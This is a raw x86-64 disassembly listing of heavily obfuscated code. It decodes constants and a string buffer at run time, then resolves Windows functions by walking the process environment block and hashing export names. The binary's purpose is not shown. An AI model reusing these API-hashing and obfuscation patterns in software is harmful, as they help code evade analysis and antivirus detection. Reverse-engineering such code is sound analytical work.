sub eax, dword [0x14035f050]
add eax, 0x2aa1c28f
xor eax, 0xd6bf8ae5
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0xae25a212
add eax, ecx
xor eax, 0xf01e2677
sub eax, 0x62966614
xor eax, 0xc92ba047
lea edx, [rcx - 0x6adc3ac6]
add edx, eax
not edx
mov eax, dword [0x14035f038]
xor eax, 0xd2a0e6ec
sub edx, eax
mov ecx, dword [0x14035f030]
xor ecx, 0x2d5f1913
add ecx, 0x3b603e80
add ecx, edx
xor ecx, 0x86122f84
mov dword [rsp + 0x2c], ecx
movsxd rax, ecx
add rax, qword [rbp + 8]
mov dword [rsp + 0x2c], r14d
jmp 0x140085dd1
mov qword [rbp - 0x48], r14
movabs rax, 0x86b589cf41e98d99
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x50], r14
movabs rax, 0x8d152d01a599b7ac
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x58], r14
movabs rax, 0x12fe584d08d54a4f
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x60], r14
movabs rax, 0xfd3e5c51fa39b423
mov qword [rbp - 0x60], rax
movabs rcx, 0xf33a52b4202b0503
add rcx, qword [rbp - 0x60]
movabs rax, 0x2a5536625307b22f
xor rcx, rax
mov rdi, qword [0x14035f050]
sub rcx, rdi
mov r10, qword [0x14035f058]
sub rcx, r10
movabs rax, 0xedf047f53c6100e
sub rcx, rax
movabs rax, 0xf8f8cd9a60eee899
xor rcx, rax
mov r9, qword [0x14035f048]
sub rcx, r9
movabs rax, 0x47d654bc26d62ba0
add rcx, rax
mov r14, qword [0x14035f040]
add rcx, r14
movabs rax, 0x5a9179aa8b4f6851
xor rcx, rax
movabs rax, 0x5f627dc74341c4c4
sub rcx, rax
movabs rax, 0xb63b3cd351377158
xor rcx, rax
movabs rdx, 0x3483ce46997a7c83
add rdx, rcx
add rdx, r14
not rdx
movabs rcx, 0x13cce94ad080aa68
mov r11, qword [0x14035f038]
mov rax, r11
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b52f7f5597
mov rbx, qword [0x14035f030]
mov rcx, rbx
xor rcx, rax
movabs rsi, 0xe0b56d8618c3853d
add rsi, rdx
add rsi, rcx
movabs rax, 0x7c0ded0156110b58
xor rsi, rax
mov qword [rbp - 0x60], rsi
movabs rcx, 0xf33a52b721ac6383
add rcx, qword [rbp - 0x58]
movabs rax, 0x88d53662530ab3b0
xor rcx, rax
sub rcx, rdi
sub rcx, r10
movabs rax, 0x7120fb80a3356bd7
add rcx, rax
movabs rax, 0xf8f8cd975367849f
xor rcx, rax
sub rcx, r9
movabs rax, 0x87d654b8124b0fd9
add rcx, rax
add rcx, r14
movabs rax, 0x5a9179a71d97d887
xor rcx, rax
movabs rax, 0x5f627dc67e2d8f92
sub rcx, rax
movabs rax, 0xc23b3cd1d05eb60d
xor rcx, rax
movabs rdx, 0xb483ce43ad03a799
add rdx, rcx
add rdx, r14
not rdx
movabs rcx, 0x13cce94adc86afe2
mov rax, r11
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b52379501d
mov rcx, rbx
xor rcx, rax
movabs r8, 0xe0b56d920acefcb7
add r8, rdx
add r8, rcx
movabs rax, 0xa8043ee41a0a8c9a
xor r8, rax
mov qword [rbp - 0x58], r8
movabs rcx, 0xf33a52b8d4abe283
add rcx, qword [rbp - 0x50]
movabs rax, 0x7d53662530c66b0
xor rcx, rax
sub rcx, rdi
sub rcx, r10
movabs rax, 0x7120fb809e1c6d5a
add rcx, rax
movabs rax, 0xf8f8cd95999c07a3
xor rcx, rax
sub rcx, r9
movabs rax, 0x7d654b5c3d13ef4
add rcx, rax
add rcx, r14
movabs rax, 0x5a9179a52d6c6bab
xor rcx, rax
movabs rax, 0x5f627dc43052120e
sub rcx, rax
movabs rax, 0xca3b3cd0f6d15e91
xor rcx, rax
movabs rdx, 0xb483ce4205e92512
add rdx, rcx
add rdx, r14
not rdx
movabs rcx, 0x13cce94ae352adde
mov rax, r11
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b51cad5221
mov rcx, rbx
xor rcx, rax
movabs rax, 0xe0b56d98ddd8f6b3
add rdx, rax
add rdx, rcx
movabs rax, 0x283cbb51905f859e
xor rdx, rax
mov qword [rbp - 0x50], rdx
movabs rcx, 0xf33a52b0a6215f03
add rcx, qword [rbp - 0x48]
movabs rax, 0x8455366253043825
xor rcx, rax
sub rcx, rdi
sub rcx, r10
movabs rax, 0xedf047f4957f31c
sub rcx, rax
movabs rax, 0xf8f8cd9de8e0b531
xor rcx, rax
sub rcx, r9
movabs rax, 0x47d654c0defe4475
add rcx, rax
add rcx, r14
movabs rax, 0x5a9179ae828269a9
xor rcx, rax
movabs rax, 0x5f627dc634f08cbc
sub rcx, rax
movabs rax, 0xe63b3cd50e5814a5
xor rcx, rax
movabs rax, 0x3483ce49fb2ddef9
add rcx, rax
add rcx, r14
not rcx
movabs rax, 0x13cce94ac29883d0
xor r11, rax
sub rcx, r11
movabs rax, 0xec3316b53d677c2f
xor rbx, rax
movabs rax, 0xe0b56d7842f506a5
add rcx, rax
add rcx, rbx
movabs rax, 0x44aabfd13288f330
xor rcx, rax
mov qword [rbp - 0x48], rcx
and rcx, rdx
xor edx, edx
mov eax, edx
cmp qword [0x14037daa0], rcx
sete al
and r8, rsi
mov qword [rbp - 0x60], rdx
mov qword [rbp - 0x58], rdx
mov qword [rbp - 0x50], rdx
mov qword [rbp - 0x48], rdx
cmp rax, r8
jne 0x1400806f5
mov rax, qword [0x14037daa0]
add rax, qword [rbp + 8]
jmp 0x140085dd1
movabs rsi, 0xf63e0fe02e0ce309
movabs rax, 0xf81d6f3750000000
movabs r14, 0xe7e9012957f30c0d
mov r11, qword [0x14035f078]
imul r11, rax
movabs rax, 0xcd58982130000000
xor r11, rax
mov r13, r11
imul r13, rsi
movabs r9, 0xaaaaaaaaaaaaaaab
mov rax, r9
mul r13
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r13
sub rcx, rax
mov r8, r11
and r8, rsi
lea rbx, [0x14035f060]
imul r8, qword [rbx + rcx*8]
movabs rax, 0x9e6a1dca10a4c518
imul r8, rax
shr r8, 3
movabs rax, 0x3d566953e99fabc4
xor r8, rax
movabs rax, 0xffffff57c1e5f33f
mov rdi, r11
imul rdi, rax
sub rdi, 0x8f72488
xor rdi, r8
xor rdi, qword [0x14035f060]
mov rax, r8
imul rax, qword [0x14035f070]
movabs rcx, 0xb9de928bc8564c1e
imul rax, rcx
not rax
and rdi, rax
ror rdi, 0x26
shr rdi, 8
movabs r12, 0x9c1f01fd1f31cf7
lea rcx, [r11 + r12]
xor rcx, 0xfffffffff6d84713
mov rax, r9
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0x7839f5fe90d84e70
mov r10, qword [rbx + rcx*8]
imul r10, rax
sub r10, r12
movabs rcx, 0x69ef357e075bcdd4
mov rax, r8
imul rax, rcx
xor r10, rax
shr r10, 0x1f
not r10
mov r15, r10
xor r15, r11
lea rcx, [r10 + r12]
mov rax, r9
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r10b
movzx ecx, byte [rbx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0xf
mov eax, 0x8000003f
and ecx, eax
jge 0x140080865
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r15, cl
not r15
imul r15, r8
imul rdx, r15, 0xfffffffff708db78
mov qword [rbp + 0x210], rdx
lea rbx, [rdx + r12]
mov r9, r10
imul r9, rdi
sub r9, rbx
xor r9, r14
movzx r12d, bl
mov ecx, r12d
and ecx, 0xf
and ecx, eax
jge 0x1400808a3
dec ecx
or ecx, 0xffffffc0
inc ecx
rol r9, cl
movabs rax, 0x220f34e6638b1f38
imul r15, rax
movabs rax, 0x65ccfffd4e30f651
sub r15, rax
xor r9, r15
mov rax, rbx
sub rax, qword [0x14035f078]
xor r9, rax
xor r9, r8
xor r9, r11
mov rax, r9
movabs r15, 0xcccccccccccccccd
and eax, 1
je 0x140080c2e
sub rax, 1
je 0x140080af1
sub rax, 1
movabs r12, 0xaaaaaaaaaaaaaaab
je 0x140080a03
cmp rax, 1
jne 0x140080ce6
mov r14, rbx
imul r14, r10
movabs rax, 0x788f6ef38d23cbc9
add rax, r9
xor r14, rax
ror r14, 0x1c
shr r14, 0xc
xor r14, r11
not r14
movabs rcx, 0x83572aa7421c
mov rdx, qword [0x14035f088]
add rdx, rcx
movabs rax, 0x9437567b04f7e69
xor rdx, rax
movzx eax, r14b
movzx ecx, r9b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db97247aee7
sub rax, r10
mov r10, rdx
xor r10, rax
mov rcx, r10
imul rcx, rsi
mov eax, 0xa39c7c0d
add rcx, rax
mov rax, r12
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r15, [0x14035f060]
mov cl, byte [r15 + rcx*8]
and cl, 0xf
movabs rsi, 0xb3d10714e546234e
sub rsi, r14
shr rsi, cl
movabs rax, 0x9ca14a8230b29b9
mov rcx, qword [rbp + 0x210]
add rcx, rax
mov rax, r12
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r9
imul rax, qword [r15 + rcx*8]
imul rax, r9
sub rax, rdi
xor rsi, rax
jmp 0x140080ce6
movabs rax, 0xaaaaaa1aa3858133
mov rcx, r9
xor rcx, rax
movabs rax, 0x1206ed61885d7f
imul rcx, rax
movabs r10, 0xfff17ca874e7b74f
mov rax, r8
xor rax, r10
sub rcx, rax
movabs rax, 0xffff7e8a8595b3ef
imul rdx, rax
movabs r10, 0xb9e59bbeb3917388
add r10, rcx
add r10, rdx
movabs rax, 0x277cd7be71555653
mov rcx, r10
xor rcx, rax
mov rax, r12
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rbx, r10
not rbx
lea rax, [0x14035f060]
imul rbx, qword [rax + rcx*8]
xor rbx, 0xfffffffff6d057e3
lea ecx, [r9 - 0xf]
and cl, 0x3f
rol rbx, cl
movabs rax, 0xd7859e7f6028a2ad
xor r13, rax
movabs rax, 0x7c7a7dc69fd75d52
and r13, rax
imul rbx, r13
mov rcx, rbx
ror rcx, 0x23
not rcx
movabs rax, 0x9b2de6b2fae751d0
imul rcx, rax
mov rax, r10
sub rax, rbx
lea rdx, [rcx + rax*4]
mov cl, dil
and cl, 0x3f
ror rdx, cl
mov rax, rsi
mov rsi, rdx
imul rsi, rax
jmp 0x140080ce6
movabs rax, 0x9dd09ded0c7ab6c3
imul r9, rax
movabs rax, 0xd79435e50d79435f
mul r9
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r9b
sub cl, dl
movabs rdx, 0x9c1f01fd1f31cf6
mov rax, r11
imul rax, rdx
xor rax, r14
not rax
shl rax, cl
xor r8, rax
and r12d, 0x8000003f
jge 0x140080b4b
dec r12d
or r12d, 0xffffffc0
inc r12d
mov cl, r12b
rol r8, cl
movabs rcx, 0x9c1f01fd1f31cf7
add rcx, r9
movabs r12, 0xaaaaaaaaaaaaaaab
mov rax, r12
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0xfe02e0ce309
lea rax, [0x14035f060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r8, rax
movabs rax, 0xffffc7a7ff41f71e
or r8, rax
mov rsi, qword [0x14035f070]
imul rsi, r14
sub rsi, rbx
mov rax, rdi
sub rax, r8
xor rsi, rax
movabs rax, 0xc7a7c6a6ae49f713
xor rsi, rax
mov rax, r15
mul r11
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, r11
sub rcx, rax
or rcx, 1
xor edx, edx
mov rax, rsi
div rcx
mov rcx, rdx
mov rdx, r9
imul rdx, rbx
imul rdx, rsi
shr rdx, cl
mov rax, r10
sub rax, rdx
sub rax, r11
movabs r11, 0x7895894611bbb09
add r11, rax
xor r11, rdi
movzx eax, r10b
imul ecx, eax, 0xf6
and cl, 0x3f
rol r11, cl
not r11
jmp 0x140080ce6
movabs r12, 0xaaaaaaaaaaaaaaab
mov rax, r12
mul r8
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r8
sub rcx, rax
mov rax, r9
imul rax, qword [0x14035f080]
lea rdx, [0x14035f060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r8
and r8b, 0x3f
mov cl, r8b
mov r8, rdx
ror r8, cl
imul r8, rbx
not rdi
imul rdi, r10
movabs rax, 0x7cd8a7de73b8a6f2
imul rdi, rax
mov rax, r8
imul rax, r11
mov r11, rdi
xor r11, rax
imul rdi, qword [0x14035f060], 0xfffffffff708db78
mov rdx, qword [0x14035f068]
sub rdi, rdx
mov al, r11b
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140080ccf
dec ecx
or ecx, 0xffffffc0
inc ecx
ror rdi, cl
movabs rax, 0x9c1f01fd1f31cf7
add rdi, rax
add rdi, qword [rbp + 0x210]
movabs rax, 0xff055d7b83f3ac3f
xor r14, rax
mov rax, r12
mul r14
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub r14, rax
xor r8, r11
lea rax, [0x14035f060]
imul r8, qword [rax + r14*8]
not rbx
imul rbx, r9
imul rbx, rdi
imul rbx, rsi
movabs rcx, 0xf5ed7e878440e6e3
xor rcx, r10
not rcx
xor rcx, rbx
sub rcx, r8
call fcn.14006e0a8
mov qword [0x14036d9e0], rax
lea rdx, [0x14037dab0]
lea rcx, [rbp + 0x98]
call fcn.1400544a8
nop
and qword [rbp - 0x18], 0
movabs rax, 0xb991e7c6e418a74a
mov qword [rbp - 0x18], rax
and qword [rbp - 0x20], 0
movabs rax, 0x19b643144c13f46f
mov qword [rbp - 0x20], rax
movabs rcx, 0xf33a52b89e835683
add rcx, qword [rbp - 0x20]
movabs rax, 0x7bd53662530c3087
xor rcx, rax
sub rcx, qword [0x14035f050]
sub rcx, qword [0x14035f058]
movabs rax, 0x7120fb809ebee6fe
add rcx, rax
movabs rax, 0xf8f8cd95d09d35d3
xor rcx, rax
sub rcx, qword [0x14035f048]
movabs rax, 0x7d654b60d5548fe
add rcx, rax
mov rdi, qword [0x14035f040]
add rcx, rdi
movabs rax, 0x5a9179a56b32ab5b
xor rcx, rax
movabs rax, 0x5f627dc455bbaf1e
sub rcx, rax
movabs rax, 0x2a3b3cd111e755d5
xor rcx, rax
movabs rdx, 0xb483ce423a96953e
add rdx, rcx
add rdx, rdi
not rdx
movabs rcx, 0x13cce94ae27a0bae
mov r10, qword [0x14035f038]
mov rax, r10
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b51d85f451
mov r11, qword [0x14035f030]
mov rcx, r11
xor rcx, rax
movabs rax, 0xe0b56d98041c6d03
add rax, rdx
add rax, rcx
movabs rcx, 0x9ab5e34ec3258a0e
xor rax, rcx
mov qword [rbp + 0x58], rax
mov qword [rbp - 0x20], rax
movabs rcx, 0xf33a52b4d8df0403
add rcx, qword [rbp - 0x18]
movabs rax, 0x2955366253086ae3
xor rcx, rax
sub rcx, qword [0x14035f050]
sub rcx, qword [0x14035f058]
movabs rax, 0xedf047f55f02c0b
sub rcx, rax
movabs rax, 0xf8f8cd99a558199d
xor rcx, rax
sub rcx, qword [0x14035f048]
movabs rax, 0xc7d654bb2c1dd6fb
add rcx, rax
add rcx, rdi
movabs rax, 0x5a9179a9b8a21975
xor rcx, rax
movabs rax, 0x5f627dc71f1c99f8
sub rcx, rax
movabs rax, 0xbe3b3cd2f4d7ac38
xor rcx, rax
movabs rax, 0x3483ce45e5d3697c
add rcx, rax
add rcx, rdi
not rcx
movabs rax, 0x13cce94ad3637a64
xor r10, rax
sub rcx, r10
movabs rax, 0xec3316b52c9c859b
xor r11, rax
movabs rax, 0xe0b56d88feb49139
add rax, rcx
add rax, r11
movabs rcx, 0xbf92a7c70c10e8c
xor rax, rcx
mov qword [rbp + 0x68], rax
mov qword [rbp - 0x18], rax
movabs rsi, 0xfe67e2c2a549e296
movabs rbx, 0xade9052628d1284f
xor edi, edi
movabs rax, 0x907e83524e3ab74
movabs r11, 0x482562b00f511b6d
mov r14, qword [0x14035f070]
imul r14, rax
not r14
movabs rcx, 0xb7da9d4ff6a4a63b
mov r13, qword [0x14035f060]
mov rax, r13
xor rax, rcx
and r14, rax
ror r14, 0x3a
shr r14, 8
movabs rax, 0xac8a12db2596b5f8
mov r10, r13
imul r10, rax
movabs r8, 0x5216fad9d72ed7b1
sub r10, r8
movabs rax, 0x7aca9aef00000000
xor r10, rax
shr r10, 0x1f
not r10
lea rcx, [r10 + r8]
mov rax, r12
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r10b
lea rdx, [0x14035f060]
movzx ecx, byte [rdx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0xd5
and ecx, 0x8000003f
jge 0x140081016
dec ecx
or ecx, 0xffffffc0
inc ecx
mov rdx, r10
ror rdx, cl
not rdx
movabs rax, 0x787e93534acfaf9e
mov r15, rdx
imul r15, rax
add r8, r15
mov r9, r10
imul r9, r14
sub r9, r8
xor r9, rsi
mov cl, r8b
xor cl, 0xfa
and cl, 0xf
rol r9, cl
mov rax, r8
mov r12, qword [0x14035f078]
sub rax, r12
xor r9, rax
movabs rax, 0x6d528d79985e1c2
imul rdx, rax
movabs rax, 0x75fb14ef8756c861
sub rdx, rax
xor r9, rdx
xor r9, r11
mov rax, r9
xor rax, 0xfffffffffffffffe
and eax, 3
je 0x140081361
sub rax, 1
je 0x14008126d
sub rax, 1
je 0x14008119b
cmp rax, 1
jne 0x1400813d8
mov rsi, r8
imul rsi, r10
movabs rax, 0xb45a14b2682a5e55
add rax, r9
xor rsi, rax
ror rsi, 2
shr rsi, 0xc
not rsi
movabs rcx, 0x83575d8cd2c2
mov rdx, qword [0x14035f088]
add rdx, rcx
movabs rax, 0x52947fa1c1b925f5
xor rdx, rax
movzx eax, r9b
movzx ecx, sil
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db9056c3e3d
sub rax, r10
mov r10, rdx
xor r10, rax
mov rcx, r10
imul rcx, rbx
mov eax, 0xd4b7ecd7
add rcx, rax
movabs r12, 0xaaaaaaaaaaaaaaab
mov rax, r12
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r13, [0x14035f060]
mov cl, byte [r13 + rcx*8]
and cl, 0xf
movabs rbx, 0x6af110310827ab98
sub rbx, rsi
shr rbx, cl
movabs rcx, 0x521f1f61fd6273cd
add rcx, r15
mov rax, r12
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r9
imul rax, qword [r13 + rcx*8]
imul rax, r9
sub rax, r14
xor rbx, rax
jmp 0x1400813d8
movabs rcx, 0xaaaaaa1ad4ae11e9
mov r10, r9
xor r10, rcx
movabs rcx, 0x1206ed16a3cda5
imul r10, rcx
movabs rcx, 0xffff7e8af2be2335
imul r15, rcx
movabs rcx, 0xbc09780b41aec0e2
add r10, rcx
add r10, r15
movabs rax, 0x277cd7be067ec689
mov rcx, r10
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r8, r10
not r8
lea rax, [0x14035f060]
imul r8, qword [rax + rcx*8]
xor r8, 0xffffffff81fbc739
lea ecx, [r9 - 0x15]
and cl, 0x3f
rol r8, cl
movabs rax, 0x2852418420000000
imul r8, rax
mov rcx, r8
ror rcx, 0x22
not rcx
movabs rax, 0x9b2de6b3264912b8
imul rcx, rax
mov rax, r10
sub rax, r8
lea rdx, [rcx + rax*4]
mov cl, r14b
and cl, 0x3f
ror rdx, cl
mov rax, rbx
mov rbx, rdx
imul rbx, rax
jmp 0x1400813d8
movabs rax, 0x5ef173b9cd12249
imul r9, rax
movabs rax, 0xd79435e50d79435f
mul r9
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r9b
sub cl, dl
movabs rdx, 0x1981d3d5ab61d69
shl rdx, cl
mov rax, r11
mov r11, rdx
xor r11, rax
mov cl, r8b
and cl, 0x3f
rol r11, cl
movabs rcx, 0x5216fad9d72ed7b1
add rcx, r9
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0x52628d1284f
lea rax, [0x14035f060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r11, rax
movabs rax, 0xffffc7a7886a67c4
or r11, rax
mov rbx, qword [0x14035f070]
imul rbx, rsi
sub rbx, r8
mov rax, r14
sub rax, r11
xor rbx, rax
movabs rax, 0xc7a7c6a6d96267c9
xor rbx, rax
mov rax, r9
imul rax, r8
imul rax, rbx
mov rdi, r10
sub rdi, rax
movabs rax, 0x789589416302bd3
add rdi, rax
xor rdi, r14
movzx eax, r10b
imul ecx, eax, 0xec
and cl, 0x3f
rol rdi, cl
not rdi
jmp 0x1400813d8
mov rcx, r9
imul rcx, qword [0x14035f080]
and rcx, r12
mov rax, r11
mov r11, rcx
xor r11, rax
ror r11, 0x2d
imul r11, r8
mov rdi, r14
not rdi
imul rdi, r10
movabs rax, 0x7cd8a7de04933628
imul rdi, rax
imul r14, r13, 0xfffffffff9f5bd56
mov rdx, qword [0x14035f068]
sub r14, rdx
mov al, dil
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x1400813c5
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r14, cl
movabs rax, 0x5216fad9d72ed7b1
add r14, rax
add r14, r15
movabs rax, 0xff055d7bf4d83ce5
xor rsi, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rsi
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rsi, rax
xor r11, rdi
lea rax, [0x14035f060]
imul r11, qword [rax + rsi*8]
not r8
imul r8, r9
imul r8, r14
imul r8, rbx
movabs rcx, 0xf5ed7e87f36b7639
xor rcx, r10
not rcx
xor rcx, r8
sub rcx, r11
call fcn.14006df64
mov qword [0x14036d9f0], rax
and dword [rsp + 0x30], 0
mov dword [rsp + 0x30], 0xb81a7653
mov eax, dword [rsp + 0x30]
add eax, 0x14bced34
xor eax, 0x8288a6c1
sub eax, dword [0x14035f058]
sub eax, dword [0x14035f050]
add eax, 0x295c3a3a
xor eax, 0x688ab8c8
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0x9ada1cf1
add eax, ecx
xor eax, 0x7458fb7a
sub eax, 0xf459230
xor eax, 0x5ae6d8b0
lea edx, [rcx + 0x2b9891aa]
add edx, eax
not edx
mov eax, dword [0x14035f038]
xor eax, 0xd452f208
sub edx, eax
mov ecx, dword [0x14035f030]
xor ecx, 0x2bad0df7
add ecx, 0xef1dae1e
add ecx, edx
xor ecx, 0xf9b9edb8
mov dword [rsp + 0x30], ecx
movsxd rax, ecx
imul rax, qword [rbp + 0xa8]
mov qword [rsp + 0x48], rax
and dword [rsp + 0x30], 0
xor eax, eax
mov byte [rbp + 0x210], al
lea rdx, [rbp + 0x14e]
lea rcx, [rbp + 0x210]
call fcn.14006ea4c
mov r13, rax
xor r12d, r12d
movabs rcx, 0x13cce94adba2b9c0
xor edx, edx
mov rax, r12
div rcx
lea r14d, [rdx + 0x39]
movzx r15d, r14w
ror r15w, 8
movzx esi, r15w
shr si, 0xa
movzx eax, r15w
shl ax, 6
or si, ax
movzx edi, si
ror di, 8
movzx r9d, r15w
shr r9w, 0xd
movzx eax, r15w
shl ax, 3
or r9w, ax
movzx edx, r15w
shl dx, 0xd
movzx eax, r15w
shr ax, 3
or dx, ax
movzx r11d, dx
ror r11w, 8
movzx r8d, r15w
shr r8w, 0xc
movzx eax, r15w
shl ax, 4
or r8w, ax
movzx ebx, r15w
not bx
movzx ecx, r15w
ror cx, 1
movzx r10d, word [r13 + r12*2]
sub r10w, si
mov eax, 0x6afe
add r10w, ax
mov eax, 0x9204
sub ax, si
xor r10w, ax
sub r10w, word [0x14035f050]
sub r10w, word [0x14035f058]
add r10w, di
add r10w, r15w
sub r10w, cx
mov eax, 0x6fc1
add r10w, ax
lea eax, [r15 + rsi]
mov ecx, 0x2d07
add ax, cx
xor r10w, ax
sub r10w, dx
sub r10w, r9w
sub r10w, r15w
sub r10w, word [0x14035f048]
sub r10w, 0x50
add r10w, r11w
mov rcx, qword [0x14035f040]
add r10w, si
add r10w, cx
movzx eax, r8w
sub ax, r9w
add ax, si
add ax, r15w
xor r10w, ax
movzx eax, r15w
sub ax, r8w
xor ax, r15w
sub r10w, ax
sub r10w, r11w
add r10w, r15w
mov eax, 0x4230
add r10w, ax
movzx eax, r15w
ror ax, 7
mov edx, 0x4050
sub r11w, dx
add ax, r11w
xor r10w, ax
movzx edx, r15w
xor dx, word [0x14035f030]
sub dx, r10w
movzx eax, bx
xor ax, word [0x14035f038]
sub dx, ax
mov eax, 0x7100
add eax, r15d
mov r8d, 0x2440
xor ax, r8w
sub dx, ax
mov eax, 0x9d7
add eax, r15d
add ax, ax
add dx, ax
sub dx, r14w
sub dx, di
sub dx, si
sub dx, cx
movzx eax, r15w
movzx ecx, bx
imul ecx, eax
xor cx, dx
mov word [r13 + r12*2], cx
inc r12
cmp r12, 0x35
movabs rcx, 0x13cce94adba2b9c0
jb 0x140081509
mov qword [rbp + 0x18], r13
mov qword [rbp + 0x20], 0x6a
lea r8, [rbp + 0x98]
mov rdx, qword [rbp + 0x18]
lea rcx, [rbp + 0x78]
call fcn.14006d248
nop
mov rcx, qword [rbp + 0x18]
test rcx, rcx
je 0x140081714
xor eax, eax
cmp qword [rbp + 0x20], rax
jbe 0x140081714
mov byte [rcx + rax], 0
inc rax
cmp rax, qword [rbp + 0x20]
jae 0x140081714
mov rcx, qword [rbp + 0x18]
jmp 0x140081701
xor edi, edi
mov esi, 0x30bf93a2
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test edi, edi
je 0x14008178c
psrldq xmm0, 8
movq r9, xmm0
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0xbfe48b2e
jmp 0x14008177e
movsx edx, byte [r9]
mov r8d, edx
imul r8d, edx
add r8d, 0x31
xor r8d, 0x4764996c
mov ecx, r10d
xor ecx, edx
mov r10d, r8d
imul r10d, ecx
add r9, 2
cmp r9, r11
jne 0x140081758
cmp r10d, edi
jne 0x14008189c
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov ebx, ecx
add rbx, r10
shr rcx, 0x20
cmp rbx, r10
je 0x14008189c
mov r14d, dword [rbx + 0x18]
test r14d, r14d
je 0x14008189c
mov r13d, dword [rbx + 0x20]
dec r14d
lea rdx, [r14*4]
add rdx, r13
mov r11d, dword [rdx + r10]
add r11, r10
mov r15d, 0xbfe48b2e
jmp 0x1400817ff
movsx r8d, dl
mov r9d, r8d
imul r9d, r8d
add r9d, 0x31
xor r9d, 0x4764996c
mov edx, r15d
xor edx, r8d
mov r15d, r9d
imul r15d, edx
mov dl, byte [r11]
inc r11
test dl, dl
jne 0x1400817dc
cmp r15d, esi
je 0x140081818
test r14d, r14d
jne 0x1400817bf
jmp 0x14008189c
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov eax, dword [rbx + 0x24]
add rax, r10
movzx eax, word [rax + r14*2]
mov r8d, dword [rdx + rax*4]
add r8, r10
cmp r8, rbx
jbe 0x1400818a4
lea rax, [rcx + rbx]
cmp r8, rax
jae 0x1400818a4
mov edi, 0xbfe48b2e
mov esi, edi
jmp 0x140081861
movsx ecx, al
mov eax, ecx
imul eax, ecx
add eax, 0x31
xor eax, 0x4764996c
xor ecx, edi
mov edi, eax
imul edi, ecx
inc r8
mov al, byte [r8]
cmp al, 0x2e
jne 0x140081847
jmp 0x140081881
movsx ecx, al
mov eax, ecx
imul eax, ecx
add eax, 0x31
xor eax, 0x4764996c
xor ecx, esi
mov esi, eax
imul esi, ecx
inc r8
mov al, byte [r8]
test al, al
jne 0x14008186a
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14008172c
lea rdx, [rbp + 0x78]
cmp qword [rbp + 0x90], 7
cmova rdx, qword [rbp + 0x78]
lea rcx, [rbp + 0xb8]
call r8
movabs rsi, 0x219b10cda06b9b47
movabs rax, 0xa5b5df1e14600000
movabs r14, 0x58a8b8a6276aeb8a
mov rbx, qword [0x14035f060]
imul rbx, rax
movabs rax, 0x9dcda81e7df00000
xor rbx, rax
mov r12, rbx
imul r12, rsi
movabs r10, 0xaaaaaaaaaaaaaaab
mov rax, r10
mul r12
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r12
sub rcx, rax
mov r8, rbx
and r8, rsi
lea r13, [0x14035f060]
imul r8, qword [r13 + rcx*8]
movabs rax, 0x1deba183db4b0d98
imul r8, rax
shr r8, 3
movabs rax, 0x693276c9f7a1f1c1
xor r8, rax
movabs rax, 0xffffff57ceed96f3
mov rdi, rbx
imul rdi, rax
